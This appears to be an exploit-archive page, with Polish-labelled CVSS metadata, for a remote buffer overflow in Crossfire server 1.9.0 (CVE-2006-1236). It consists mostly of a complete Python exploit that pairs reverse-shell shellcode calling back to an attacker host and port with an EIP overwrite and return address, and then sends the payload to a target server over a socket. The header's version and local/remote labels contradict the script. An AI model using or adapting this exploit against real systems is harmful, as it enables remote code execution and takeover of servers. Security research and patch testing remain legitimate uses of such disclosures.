Crossfire Server 1.0 Buffer Overflow

2021.08.18
Credit: Khaled Salem
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow # Exploit Author: Khaled Salem @Khaled0x07 # Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz # Version: 1.9.0 # Tested on: Kali Linux 2020.4 # CVE : CVE-2006-1236 #!/bin/python import socket import time # Crash at 4379 # EIP Offset at 4368 # Badchar \x00\x20 # ECX Size 170 # CALL ECX 0x080640eb size = 4379 # Attacker IP: 127.0.0.1 Port: 443 shellcode = b"" shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28" shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17" shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02" shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56" shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77" shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64" shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31" shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a" shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d" try: filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode)) EIP = "\xeb\x40\x06\x08" padding = "C" * (4379 - len(filler) - len(EIP)) payload = filler + EIP + padding inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#" print("Sending Buffer with size:" + str(len(payload))) s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4 print(s.recv(1024)) s.send(inputBuffer) s.close() except: print("Could not connect") exit(0)


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